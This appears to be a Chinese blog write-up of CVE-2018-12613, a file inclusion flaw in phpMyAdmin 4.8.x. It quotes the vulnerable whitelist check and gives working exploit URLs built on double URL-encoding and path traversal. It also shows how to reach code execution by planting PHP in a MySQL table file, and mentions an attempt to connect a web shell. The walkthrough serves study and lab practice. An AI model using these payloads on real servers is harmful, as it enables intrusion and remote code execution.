CVE-2018-12613 Phpmyadmin文件包含漏洞

phpMyAdmin文件包含漏洞
利用条件:
phpMyAdmin 4.8.0-4.8.1版本
用户已经拥有登录进入phpmyadmin后台的账号和密码
phpmyadmin配置文件位置
WWW\phpMyAdmin4.8.0\libraries\config.default.php
以下情况下攻击者在phpmyadmin中被重定向和加载,以及对白名单页面进行不正确的测试不需要身份验证:
$cfg['AllowArbitraryServer']=true  #攻击者可以指定ta控制的任何主机 并且在phpmyadmin上执行任意代码
$cfg['ServerDefault']=0    #可以绕过登录并在没有任何身份验证的情况下运行容易受到攻击的代码
CVE-2018-12613 Phpmyadmin文件包含漏洞_第1张图片 CVE-2018-12613 Phpmyadmin文件包含漏洞_第2张图片
漏洞原理:
WWW\phpMyAdmin\index.php中
$target_blacklist = array (
    'import.php', 'export.php'
);


// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
request可以传入参数target 
过滤1:传入的参数是否是字符串
过滤2:target参数的内容开头不是index即可 否则会被过滤掉
过滤3:target中没有import.php和export.php内容
过滤4:进入Core.php文件查看相应源码
WWW\phpMyAdmin4.8.0\libraries\classes\Core.php
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {    #传入的payload不在相应的whitelist中
            return true;     
        }

        $_page = mb_substr(    #给$page末尾加上问号后 从字符串第0位开始分割 然后将最左边的内容存到$_page中
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {    #如果该内容在白名单中就可以返回true
            return true;
        }

        $_page = urldecode($page);     #对输入的内容进行一次url解码
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }
其中可以利用从而绕过的有第四个情况和第五个情况
第四个情况下尝试:此时问号前的内容可以直接实现绕过第四个限制 从而返回为true
index.php?target=db_sql.php?../../../../../../../phpstudy/www/phpinfo.php
CVE-2018-12613 Phpmyadmin文件包含漏洞_第3张图片
CVE-2018-12613 Phpmyadmin文件包含漏洞_第4张图片
当尝试对问号进行一次url编码后 由于服务器本身就会对传入的内容进行一次url解码 所谓一依然没有办法被windows解析成目录而打开
CVE-2018-12613 Phpmyadmin文件包含漏洞_第5张图片
由于windows默认情况下不允许特殊字符作为文件名或者目录名 所以问号没有办法被解析 所以这种绕过方法不可行
接下来可以考虑第五个情况下的绕过
由于本身服务器会进行一次url解码 此处又需要一次url解码 所以可以对问号进行两次url编码 从而在第五种情况下可以正好通过限制要求
url两次编码结果可以是%25%33%66  也可以是 %253f
CVE-2018-12613 Phpmyadmin文件包含漏洞_第6张图片
CVE-2018-12613 Phpmyadmin文件包含漏洞_第7张图片
此时文件包含成功!!那么接下来可以执行相应的其他漏洞操作
public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );
文件包含成功以后!
1.接下来可以上传相应的sql文件然后进行包含 
2.也可以执行如下的操作
(1)新建数据库test
(2)新建数据表test  字段数为1即可
(3)该字段设置名字为 
CVE-2018-12613 Phpmyadmin文件包含漏洞_第8张图片
那么此时进入Mysql的data中可以看到相应的内容
D:\applications\phpstudy\Extensions\MySQL5.7.26\data\test\test.frm
使用记事本打开test.frm文件
成功写入相应的frm文件
接下来构造payload
http://127.0.0.1/phpmyadmin4.8.0/index.php?0xdawn=phpinfo();&target=db_sql.php%253f../../../../../../../applications/phpstudy\Extensions\MySQL5.7.26\data\test\test.frm
CVE-2018-12613 Phpmyadmin文件包含漏洞_第9张图片
CVE-2018-12613 Phpmyadmin文件包含漏洞_第10张图片
也可以把get内容变成post 从而可以通过菜刀连接!(没有测试成功)原因未知
CVE-2018-12613 Phpmyadmin文件包含漏洞_第11张图片
payload的url
http://127.0.0.1/phpmyadmin4.8.0/index.php?target=db_sql.php%253f../../../../../../../applications/phpstudy\Extensions\MySQL5.7.26\data\test\test.frm
Linux系统下的靶场实战:
CVE-2018-12613 Phpmyadmin文件包含漏洞_第12张图片
CVE-2018-12613 Phpmyadmin文件包含漏洞_第13张图片
CVE-2018-12613 Phpmyadmin文件包含漏洞_第14张图片

你可能感兴趣的:(Web安全,php,安全,开发语言)